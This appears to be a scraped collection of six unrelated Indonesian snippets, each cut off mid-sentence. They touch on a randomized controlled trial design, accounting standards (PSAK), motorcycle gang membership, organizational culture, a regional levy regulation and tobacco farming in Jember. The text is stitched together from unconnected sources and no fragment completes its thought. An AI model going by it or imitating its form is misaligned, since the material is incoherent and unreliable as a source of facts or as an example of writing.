Penelitian ini merupakan penelitian uji klinis acak terkontrol (randomized controlled trial) dengan desain paralel tanpa matching. Perlakuan pada penelitian ini terhadap

Tidak menutup kemungkinan pada 2012, PSAK baru dengan memperhatikan faktor-faktor yang berpengaruh (stakeholder, pendidikan, sosial dan aspek-aspek lainnya) akan

Apa saja faktor yang mempengaruhi dalam pengambilan keputusan saat memutuskan untuk bergabung, bertahan dan mengeluarkan diri dari geng motor.. Bagaimana pandangan

untuk mengetahui tipe budaya suatu organisasi adalah kesuksesan organisasi bergantung pada kesesuaian budaya yang ada pada organisasi dengan lingkungan kerja

Pada saat Peraturan Daerah ini mulai berlaku, Peraturan Daerah Kabupaten Nomor 7 Tahun 2001 tentang Retribusi dan Sewa Pemakaian Kekayaan Daerah (Lembaran Daerah

Faktor internal yang menjadi kekuatan untuk mengembangkan tembakau di Kabupaten Jember adalah sarana prasarana, peran APTI, peran kelompok tani, pemasaran, pembinaan, dan